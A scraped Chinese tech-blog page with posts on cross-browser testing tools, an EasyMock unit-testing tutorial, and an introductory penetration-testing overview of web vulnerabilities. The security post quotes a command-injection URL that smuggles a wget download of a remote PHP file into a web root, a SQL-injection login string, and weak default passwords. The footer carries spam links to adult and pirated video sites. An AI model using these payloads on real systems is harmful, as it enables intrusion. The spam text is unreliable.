      8)CGI程序,Applets,Javascripts,ActiveX組件等如何進(jìn)行維護(hù),跟蹤,控制和測(cè)試

    posted @ 2014-12-22 23:47 順其自然EVO 閱讀(675) | 評(píng)論 (0)編輯 收藏

    跨瀏覽器測(cè)試工具推薦

    有時(shí)候,在不同瀏覽器將下進(jìn)行測(cè)試軟件測(cè)試人員與項(xiàng)目團(tuán)隊(duì)的一大挑戰(zhàn)。在所有瀏覽器上運(yùn)行測(cè)試用例使得測(cè)試成本非常高。特別是,當(dāng)我們沒有專業(yè)的設(shè)計(jì)團(tuán)隊(duì),或在進(jìn)行頁面設(shè)計(jì)過程中沒有軟件驗(yàn)證及確認(rèn)的時(shí)候,更為挑戰(zhàn)。這是不好的部分。現(xiàn)在,讓我們來看看有什么好的部分。
      最棒的是,在市場(chǎng)上有許多免費(fèi)或收費(fèi)的跨瀏覽器兼容測(cè)試工具。最關(guān)鍵的是,大多數(shù)情況你可以用免費(fèi)的工具來完成你的工作。如果你有非常特殊的要求,那么你可能需要一個(gè)收費(fèi)的跨瀏覽器兼容測(cè)試工具。讓我們簡(jiǎn)單介紹一下一些最好的工具:
      1.IETab:這是我最喜歡的和最好的免費(fèi)工具之一。這基本上是一個(gè)Firefox和Chrome瀏覽器的插件。只需簡(jiǎn)單的單擊鼠標(biāo)就可以從Firefox和Chrome瀏覽器中看到該網(wǎng)頁在InternetExplorer中將如何被顯示。
      2.MicrosoftSuperPreview:這是微軟提供的免費(fèi)工具。它可以幫助你檢查在各種版本的InternetExplorer下網(wǎng)頁是如何顯示的。你可以用它來測(cè)試和調(diào)試網(wǎng)頁的布局問題。你可以在微軟的網(wǎng)站上免費(fèi)下載此工具。
      3.SpoonBrowserSandbox:您可以使用此測(cè)試工具在幾乎所有主要的瀏覽器下測(cè)試Web應(yīng)用程序,如Firefox,Chrome和Opera。最初,它也支持IE,但在過去的幾個(gè)月里,它減少了對(duì)IE的支持。
      4.Browsershots:使用這個(gè)免費(fèi)的瀏覽器兼容性測(cè)試工具,可以測(cè)試在任何平臺(tái)和瀏覽器的組合應(yīng)用。所以,它是最廣泛使用的工具。然而由于瀏覽器和平臺(tái)的大量組合,它需要很長(zhǎng)時(shí)間才能顯示結(jié)果。
      5.IETester:使用這個(gè)工具,你可以在各種Windows平臺(tái)測(cè)試IE各種版本的網(wǎng)頁,如WindowsVista,Windows7和XP。
      6.BrowserCam:這是一個(gè)收費(fèi)的瀏覽器兼容性在線測(cè)試工具。您可以用它的試用版進(jìn)行24小時(shí)200張圖以內(nèi)的測(cè)試。
      7.CrossBrowserTesting:這是一個(gè)完美的測(cè)試JavaScript,Ajax和Flash網(wǎng)站在不同瀏覽器中功能的工具。它提供1周免費(fèi)試用。你可以在http://crossbrowsertesting.com/上下載
      8.CloudTesting:如果你想在各種瀏覽器上測(cè)試您的應(yīng)用程序的瀏覽器兼容性,如IE,F(xiàn)irefox,Chrome,Opera,那么這個(gè)工具很適合你。
      除了這些工具,還有一些其他的工具,如IENetRenderer,Browsera,AdobeBrowserLab等,通過對(duì)這些工具進(jìn)行一段時(shí)間的研究和使用,就可以達(dá)到事半功倍的效果。

    posted @ 2014-12-22 23:46 順其自然EVO 閱讀(480) | 評(píng)論 (0)編輯 收藏

    EasyMock構(gòu)建單元測(cè)試

     1. 背景
      單元測(cè)試作為程序的基本保障。很多時(shí)候構(gòu)建測(cè)試場(chǎng)景是一件令人頭疼的事。因?yàn)橹暗膯卧獪y(cè)試都是內(nèi)部代碼引用的,環(huán)境自給自足。開發(fā)到了一定程度,你不得不到開始調(diào)用外部的接口來完成你的功能。而外部條件是不穩(wěn)定的。你為了模擬外部環(huán)境要?jiǎng)?chuàng)建各種文件、各種數(shù)據(jù)。嚴(yán)重影響到單元測(cè)試的效率。EasyMock應(yīng)運(yùn)而生,他提供了模擬的接口和類。不用費(fèi)神去構(gòu)建各種煩人的環(huán)境,就能開展有效的測(cè)試。
      2. 準(zhǔn)備環(huán)境
      Easymock 3.2 + JUnit 4.11
      3. 構(gòu)建測(cè)試
      a) 實(shí)際場(chǎng)景
      i. 你負(fù)責(zé)開發(fā)一個(gè)會(huì)計(jì)師的功能。但計(jì)算個(gè)人所得稅的接口由外部提供(鬼知道項(xiàng)目經(jīng)理是怎么想的)。
      ii. 你的代碼已經(jīng)開發(fā)完成了。負(fù)責(zé)開發(fā)個(gè)人所得稅的接口的同事老婆生了四胞胎,天天請(qǐng)假帶孩子。接口沒寫完。
      iii. 你要完成你的代碼并提交測(cè)試用例。前提你個(gè)懶鬼,半點(diǎn)額外工作都不想做。同事老婆生孩子又不能去催。然后你在網(wǎng)上找到了EasyMock.......
      b) 測(cè)試代碼
      i. 個(gè)人所得稅的接口
    /**
    * Copyright ? 2008-2013, WheatMark, All Rights Reserved
    */
    package com.fitweber.wheat.interfaces;
    /**
    * 計(jì)算個(gè)人所得稅
    * @author wheatmark hajima11@163.com
    * @Blog http://blog.csdn.net/super2007
    * @version 1.00.00
    * @project wheatMock
    * @file com.fitweber.wheat.interfaces.IPersonalIncomeTax.java
    * @bulidDate 2013-9-1
    * @modifyDate 2013-9-1
    * <pre>
    *    修改記錄
    *    修改后版本:     修改人:  修改日期:     修改內(nèi)容:
    * </pre>
    */
    public interface IPersonalIncomeTax {
    /**
    * 計(jì)算個(gè)人所得稅,國(guó)內(nèi),2013年7級(jí)稅率
    * @param income
    * @param deductedBeforeTax
    * @return
    */
    public double calculate(double income,double deductedBeforeTax);
    }
      ii. 會(huì)計(jì)師類中計(jì)算工資方法
    /**
    * Copyright ? 2008-2013, WheatMark, All Rights Reserved
    */
    package com.fitweber.wheat;
    import com.fitweber.wheat.interfaces.IPersonalIncomeTax;
    /**
    * 會(huì)計(jì)師類
    * @author wheatmark hajima11@163.com
    * @Blog http://blog.csdn.net/super2007
    * @version 1.00.00
    * @project wheatMock
    * @file com.fitweber.wheat.Accountant.java
    * @bulidDate 2013-9-1
    * @modifyDate 2013-9-1
    * <pre>
    *    修改記錄
    *    修改后版本:     修改人:  修改日期:     修改內(nèi)容:
    * </pre>
    */
    public class Accountant {
    private IPersonalIncomeTax personalIncomeTax;
    public Accountant(){
    }
    public double calculateSalary(double income){
    //稅前扣除,五險(xiǎn)一金中個(gè)人扣除的項(xiàng)目。8%的養(yǎng)老保險(xiǎn),2%的醫(yī)療保險(xiǎn),1%的失業(yè)保險(xiǎn),8%的住房公積金
    double deductedBeforeTax = income*(0.08+0.02+0.01+0.08);
    return income - deductedBeforeTax - personalIncomeTax.calculate(income,deductedBeforeTax);
    }
    /**
    * @return the personalIncomeTax
    */
    public IPersonalIncomeTax getPersonalIncomeTax() {
    return personalIncomeTax;
    }
    /**
    * @param personalIncomeTax the personalIncomeTax to set
    */
    public void setPersonalIncomeTax(IPersonalIncomeTax personalIncomeTax) {
    this.personalIncomeTax = personalIncomeTax;
    }
    }
      iii. 測(cè)試會(huì)計(jì)師類中計(jì)算工資方法
      或許你不知道個(gè)人所得稅的計(jì)算方式。但是你可以去百度一下。對(duì),百度上有個(gè)人所得稅計(jì)算器。和2011年出臺(tái)的個(gè)人所得稅階梯稅率。
      通過百度的幫忙(更多的時(shí)候你要求助于業(yè)務(wù)組的同事)你可以確認(rèn)如果你同事的個(gè)人所得稅的計(jì)算接口正確的話,傳入國(guó)內(nèi)實(shí)際收入8000.00,稅前扣除1520.00。應(yīng)該返回193.00的扣稅額。然后我們可以設(shè)置我們的Mock對(duì)象的行為來模仿接口的傳入和返回。用斷言來確認(rèn)會(huì)計(jì)師的計(jì)算工資的邏輯。完成了我們的測(cè)試用例。
    /**
    * Copyright ? 2008-2013, WheatMark, All Rights Reserved
    */
    package com.fitweber.wheat.test;
    import static org.easymock.EasyMock.*;
    import junit.framework.Assert;
    import org.easymock.IMocksControl;
    import org.junit.After;
    import org.junit.Before;
    import org.junit.Test;
    import com.fitweber.wheat.Accountant;
    import com.fitweber.wheat.interfaces.IPersonalIncomeTax;
    /**
    * 會(huì)計(jì)師測(cè)試類
    * @author wheatmark hajima11@163.com
    * @Blog http://blog.csdn.net/super2007
    * @version 1.00.00
    * @project wheatMock
    * @file com.fitweber.wheat.test.AccountantTest.java
    * @bulidDate 2013-9-1
    * @modifyDate 2013-9-1
    * <pre>
    *    修改記錄
    *    修改后版本:     修改人:  修改日期:     修改內(nèi)容:
    * </pre>
    */
    public class AccountantTest {
    private IPersonalIncomeTax personalIncomeTax;
    private Accountant accountant;
    /**
    * @throws java.lang.Exception
    */
    @Before
    public void setUp() throws Exception {
    IMocksControl control = createControl();
    personalIncomeTax = control.createMock(IPersonalIncomeTax.class);
    accountant = new Accountant();
    accountant.setPersonalIncomeTax(personalIncomeTax);
    }
    /**
    * @throws java.lang.Exception
    */
    @After
    public void tearDown() throws Exception {
    System.out.println("----------AccountantTest中的全部用例測(cè)試完畢---------");
    }
    @Test
    public void testCalculateSalary(){
    //個(gè)人所得稅的計(jì)算接口還沒實(shí)現(xiàn),但會(huì)計(jì)師的計(jì)算工資的方法已經(jīng)寫好了。需要測(cè)試。
    //我們可以先Mock一個(gè)出來測(cè)試。
    //個(gè)人所得稅的計(jì)算接口正確的話,傳入實(shí)際收入8000.00,稅前扣除1520.00。應(yīng)該返回193.00.
    expect(personalIncomeTax.calculate(8000.00,1520.00)).andReturn(193.00);
    //設(shè)置到回放狀態(tài)
    replay(personalIncomeTax);
    //驗(yàn)證計(jì)算工資方法計(jì)算是否正確。
    Assert.assertEquals(8000.00-1520.00-193.00, accountant.calculateSalary(8000.00));
    verify(personalIncomeTax);
    }
    }

    4. 執(zhí)行測(cè)試
      最后是最簡(jiǎn)單的一步了。右鍵點(diǎn)擊AccountantTest.java,Run As —> JUnit Test。得到下面的成功界面。
      PS:到上面一步,單元測(cè)試已經(jīng)是完成了。擁有好奇心的你還可以testCalculateSalary()方法里的數(shù)值去看看如果單元測(cè)試不通過會(huì)報(bào)什么錯(cuò)。
      比如,改一下所傳的參數(shù)personalIncomeTax.calculate(8000.00,1520.00)變?yōu)閜ersonalIncomeTax.calculate(9000.00,1520.00)。
      改一下斷言什么的,報(bào)錯(cuò)又會(huì)是什么。Assert.assertEquals(8000.00-1520.00-193.00, accountant.calculateSalary(8000.00));
      具體的EasyMock文檔在網(wǎng)絡(luò)上已經(jīng)漫天飛。自己去找找,深入了解下EasyMock。

    posted @ 2014-12-22 23:43 順其自然EVO 閱讀(406) | 評(píng)論 (0)編輯 收藏

    滲透測(cè)試必知必會(huì)—Web漏洞

      0x00前言
      本文為對(duì)WEB漏洞研究系列的開篇,日后會(huì)針對(duì)這些漏洞一一研究,敬請(qǐng)期待
      0x01 目錄
      0x00 前言
      0x01 目錄
      0x02 OWASP TOP10 簡(jiǎn)單介紹
      0x03 烏云TOP 10 簡(jiǎn)單介紹
      0x04 非主流的WEB漏洞
      0x02 OWASP TOP10 簡(jiǎn)單介紹
      除了OWASP的TOP10,Web安全漏洞還有很多很多,在做測(cè)試和加固系統(tǒng)時(shí)也不能老盯著TOP10,實(shí)際上是TOP10中的那少數(shù)幾個(gè)
      直接說2013的:
      A1: 注入,包括SQL注入、OS注入、LDAP注入。SQL注入最常見,wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例,由于現(xiàn)在自動(dòng)化工具非常多,通常都是找到注入點(diǎn)后直接交給以sqlmap為代表的工具
      命令注入相對(duì)來說出現(xiàn)得較少,形式可以是:
      https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;
      也可以查看案例:極路由云插件安裝shell命令注入漏洞 ,未對(duì)用戶輸入做任何校驗(yàn),因此在web端ssh密碼填寫處輸入一條命令`dropbear`便得到了執(zhí)行
      直接搜索LDAP注入案例,簡(jiǎn)單嘗試下并沒有找到,關(guān)于LDAP注入的相關(guān)知識(shí)可以參考我整理的LDAP注入與防御解析。雖然沒有搜到LDAP注入的案例,但是重要的LDAP信息 泄露還是挺多的,截至目前,烏云上搜關(guān)鍵詞LDAP有81條記錄。
      PHP對(duì)象注入:偶然看到有PHP對(duì)象注入這種漏洞,OWASP上對(duì)其的解釋為:依賴于上下文的應(yīng)用層漏洞,可以讓攻擊者實(shí)施多種惡意攻擊,如代碼注入、SQL注入、路徑遍歷及拒絕服務(wù)。實(shí)現(xiàn)對(duì)象注入的條件為:1) 應(yīng)用程序必須有一個(gè)實(shí)現(xiàn)PHP魔術(shù)方法(如 __wakeup或 __destruct)的類用于執(zhí)行惡意攻擊,或開始一個(gè)"POP chain";2) 攻擊中用到的類在有漏洞的unserialize()被調(diào)用時(shí)必須已被聲明,或者自動(dòng)加載的對(duì)象必須被這些類支持。PHP對(duì)象注入的案例及文章可以參考WordPress < 3.6.1 PHP 對(duì)象注入漏洞。
      在查找資料時(shí),看到了PHP 依賴注入,原本以為是和安全相關(guān)的,結(jié)果發(fā)現(xiàn):依賴注入是對(duì)于要求更易維護(hù),更易測(cè)試,更加模塊化的代碼的解決方案。果然不同的視角,對(duì)同一個(gè)詞的理解相差挺多的。
      A2: 失效的身份認(rèn)證及會(huì)話管理,乍看身份認(rèn)證覺得是和輸入密碼有關(guān)的,實(shí)際上還有會(huì)話id泄露等情況,注意力集中在口令安全上:
      案例1:空口令
      烏云:國(guó)內(nèi)cisco系列交換機(jī)空密碼登入大集合
      烏云:UC某服務(wù)器可空口令訪問數(shù)據(jù)庫(kù)
      案例2:弱口令
      烏云:盛大某站后臺(tái)存在簡(jiǎn)單弱口令可登錄  admin/admin
      烏云:電信某省客服系統(tǒng)弱口令泄漏各種信息 .../123456
      烏云:中國(guó)建筑股份有限公司OA系統(tǒng)tomcat弱口令導(dǎo)致淪陷  tomcat/tomcat
      案例3:萬能密碼
      烏云:移動(dòng)號(hào)碼上戶系統(tǒng)存在過濾不嚴(yán)  admin'OR'a'='a/admin'OR'a'='a (實(shí)際上仍屬于SQL注入)
      弱口令案例實(shí)在不一而足
      在烏云一些弱口令如下:其中出鏡次數(shù)最高的是:admin/admin, admin/123456
      會(huì)話管理問題可以是用戶A登陸了某個(gè)地址,但是沒有注銷(奇葩情況是注銷無效),直接退出了瀏覽器又沒有清除cookie,如果說這時(shí)候有B借用A的電腦,他直接以A的身份登陸該地址是沒有問題的,這不是服務(wù)端的問題。但假設(shè)之后A都沒有訪問改地址,而是把電腦合上待機(jī)了,第二天如果B借用他的電腦直接登陸了該地址,則責(zé)任在于服務(wù)端的會(huì)話管理不當(dāng),沒有設(shè)置超時(shí)時(shí)間。除此之外,還有會(huì)話重放、會(huì)話信息泄露等問題。說到會(huì)話信息泄露,不禁想起將sessionid放在URL中的情形,鄙人暫未遇到直接利用這個(gè)可以竊取會(huì)話的,但不排除其可能
      A3: 跨站腳本(XSS),最普遍的漏洞,曾被認(rèn)為是雞肋漏洞,事實(shí)證明有時(shí)候危害很大的,竊取cookie,構(gòu)造蠕蟲不一而足。XSS的技術(shù)體現(xiàn)在Javascript功底上,現(xiàn)在很多網(wǎng)站都有針對(duì)XSS的過濾器,J2EE可以使用全局過濾器,但是過濾器基本都是使用黑名單設(shè)防,是有可能繞過的,回應(yīng)了技術(shù)體現(xiàn)在Javascript功底上。跨站腳本還有flash類型的,由于相比之下出現(xiàn)得比較少,瀏覽器和過濾器的防御精力不在這上面,如果出現(xiàn)可能更容易成功。值得一提的是,對(duì)于XSS,現(xiàn)在的掃描工具都會(huì)將其標(biāo)識(shí)為高危漏洞,實(shí)際上掃描器根據(jù)返回的響應(yīng)中是否有加入的載荷來判斷跨站腳本漏洞存在的可能性,誤報(bào)率會(huì)比較高。還有就是常規(guī)掃描器只能識(shí)別反射型XSS,反射型XSS本身危害是比較小的,存儲(chǔ)型XSS危害才大(危害大小看具體情況)。反射型XSS現(xiàn)在常規(guī)payload要想過IE10、IE11或chrome還是有難度的,因此XSS技術(shù)的另一個(gè)體現(xiàn)方面即是對(duì)瀏覽器特性的了解。至于存儲(chǔ)型XSS,則要看具體業(yè)務(wù)和數(shù)據(jù)是否會(huì)受影響,用戶交互程度越高,利用難度就越大,如果能彈框證實(shí)漏洞存在,但很難被觸發(fā)或者就算竊取到cookie也無法登陸,很難說明是高風(fēng)險(xiǎn)安全問題,但還是有修復(fù)和改進(jìn)的必要。
      CSRF曾被稱為沉睡的巨人,以前拿來舉例時(shí)都是說Alice給Bob轉(zhuǎn)錢,結(jié)果morry插了一腳,錢就跑到morry家去了。危害可大可小,直接通過URL增刪改操作的也還有,更多的還是基于表單。如果是XSS+CSRF =>蠕蟲 就比較可觀了,也曾看到過直接get root的案例
    案例:萬達(dá)電影主站 xss + csrf
      A10: 無效的重定向
      控制重定向可以釣魚,可以獲取敏感文件的信息,在struts2中也有開放重定向的命令執(zhí)行
      0x03 烏云TOP 10 簡(jiǎn)單介紹
      上述就是OWASP TOP10的WEB漏洞,烏云出了一個(gè)更加符合中國(guó)國(guó)情的 烏云:Top10 for 2014,看著也是觸目驚心
      A1-互聯(lián)網(wǎng)泄密事件/撞庫(kù)攻擊
      本質(zhì)上來說是使用了不安全的口令,也許我可以將自己的密碼設(shè)置的很復(fù)雜,別人破解不出來。但對(duì)于撞庫(kù)攻擊而言,可以說是不怕神一樣的對(duì)手,就怕豬一樣的隊(duì)友。我們注冊(cè)使用的網(wǎng)站或服務(wù)商他們保存了我們使用的密碼,而很多時(shí)候被泄露出去了我們并不知道。這也是考驗(yàn)我們密碼習(xí)慣的時(shí)候了,強(qiáng)密碼+不同的密碼,當(dāng)然密碼多了也難以記住,不行就借助軟件或者普通賬號(hào)用同一個(gè)密碼,重要賬號(hào)用不同密碼吧
      A2-引用不安全的第三方應(yīng)用
      舉的例子是heart bleed漏洞使用的openssl,另外struts2的漏洞也還數(shù)見不鮮,其次就是CMS如wordpress使用的插件,當(dāng)然shellshock也會(huì)有很多中槍的
      A3-系統(tǒng)錯(cuò)誤/邏輯缺陷帶來的暴力猜解
      暴力破解:沒對(duì)請(qǐng)求和錯(cuò)誤次數(shù)做限制;重放攻擊同樣是沒做檢驗(yàn)或限制
      A4-敏感信息/配置信息泄露
      包括但不限于目錄遍歷、日志、配置文件、svn目錄、github或其他博客等地方
      A5-應(yīng)用錯(cuò)誤配置/默認(rèn)配置
      包括但不限于默認(rèn)路徑、默認(rèn)口令、目錄穿越、任意文件下載等
      A6-SQL注入漏洞
      A7-XSS跨站腳本攻擊/CSRF
      A8-未授權(quán)訪問/權(quán)限繞過
      可匿名訪問\判斷referer值后免登陸
      A9-賬戶體系控制不嚴(yán)/越權(quán)操作
      A10-內(nèi)部重要資料/文檔外泄
      還是信息泄露,但是做了區(qū)分,不同于應(yīng)用或服務(wù)器的信息泄露,專指內(nèi)部信息泄露喲
      0x04 非主流的WEB漏洞
      實(shí)際上,如果要挖漏洞或者做測(cè)試,從烏云上找案例會(huì)比較方便,除了常見的幾類代碼層面的問題,更多的是配置不當(dāng)方面的,最終歸結(jié)到信息安全鏈上最脆弱的還是人本身
      除了上面提到的這些,其實(shí)還有很多的漏洞啊,跟設(shè)備有關(guān)系的就先不說了,再提一下兩個(gè)看起來不錯(cuò)的:XXE、SSRF(or XSPA)
      XXE:XML外部實(shí)體注入,不僅僅是敏感信息泄露,騰訊安全中心:XXE漏洞攻防
      案例:
      1. 烏云:百度某功能XML實(shí)體注入
      2. 烏云:139郵箱XXE漏洞可讀取文件
      3. 烏云:從開源中國(guó)的某XXE漏洞到主站shell
      SSRF(服務(wù)端請(qǐng)求偽造): 據(jù)說用這招可以成功多次進(jìn)入阿里、騰訊、百度等的內(nèi)網(wǎng),沒爆出來的估計(jì)很多被用作殺器了
      案例:
      1. 烏云:百度貼吧SSRF
      2. 烏云:新浪SSRF
      3. 烏云:阿里巴巴SSRF
      上面幾個(gè)案例有的是分享功能,有的是其他功能,共同點(diǎn)在于都是跟的url參數(shù),且沒做限制,導(dǎo)致內(nèi)網(wǎng)信息泄露
      (未完...)

    posted @ 2014-12-22 23:42 順其自然EVO 閱讀(1390) | 評(píng)論 (0)編輯 收藏

    僅列出標(biāo)題
    共394頁: 上一頁 1 2 3 4 5 6 7 8 9 下一頁 Last 
    <2025年5月>
    27282930123
    45678910
    11121314151617
    18192021222324
    25262728293031
    1234567

    導(dǎo)航

    統(tǒng)計(jì)

    • 隨筆 - 3936
    • 文章 - 404
    • 評(píng)論 - 179
    • 引用 - 0

    常用鏈接

    留言簿(55)

    隨筆分類

    隨筆檔案

    文章分類

    文章檔案

    搜索

    •  

    最新評(píng)論

    閱讀排行榜

    評(píng)論排行榜

    主站蜘蛛池模板: 免费一级毛片在播放视频| 日本一区二区在线免费观看 | 成人黄色免费网站| 18亚洲男同志videos网站| 大地资源在线资源免费观看 | 免费在线看污视频| 亚洲成AV人片在线观看WWW| 女同免费毛片在线播放| 亚洲精品无码成人AAA片| 少妇性饥渴无码A区免费| 亚洲国产精品无码专区| 国产免费爽爽视频在线观看| 亚洲AV永久无码精品| 久久青草免费91线频观看不卡| 久久久亚洲精品国产| 免费无码又爽又刺激高潮视频| 久久久久久亚洲Av无码精品专口 | a级片免费在线观看| 亚洲VA中文字幕无码毛片| 久久精品国产这里是免费| 91大神亚洲影视在线| 亚洲精品视频免费看| 亚洲av成人一区二区三区| 欧美a级在线现免费观看| 亚洲国产欧美国产综合一区 | 波多野结衣免费在线观看| 国产精品亚洲专区在线观看| 四虎在线视频免费观看| 亚洲精品色在线网站| 亚洲第一成人影院| GOGOGO高清免费看韩国| 久久久久久亚洲av成人无码国产| 在线看片免费人成视久网| 国产精品亚洲片在线va| 免费乱理伦在线播放| 精品免费久久久久国产一区 | 亚洲人成网77777色在线播放| 久久免费线看线看| 亚洲成人网在线观看| 丁香花在线观看免费观看| 最新亚洲人成无码网www电影|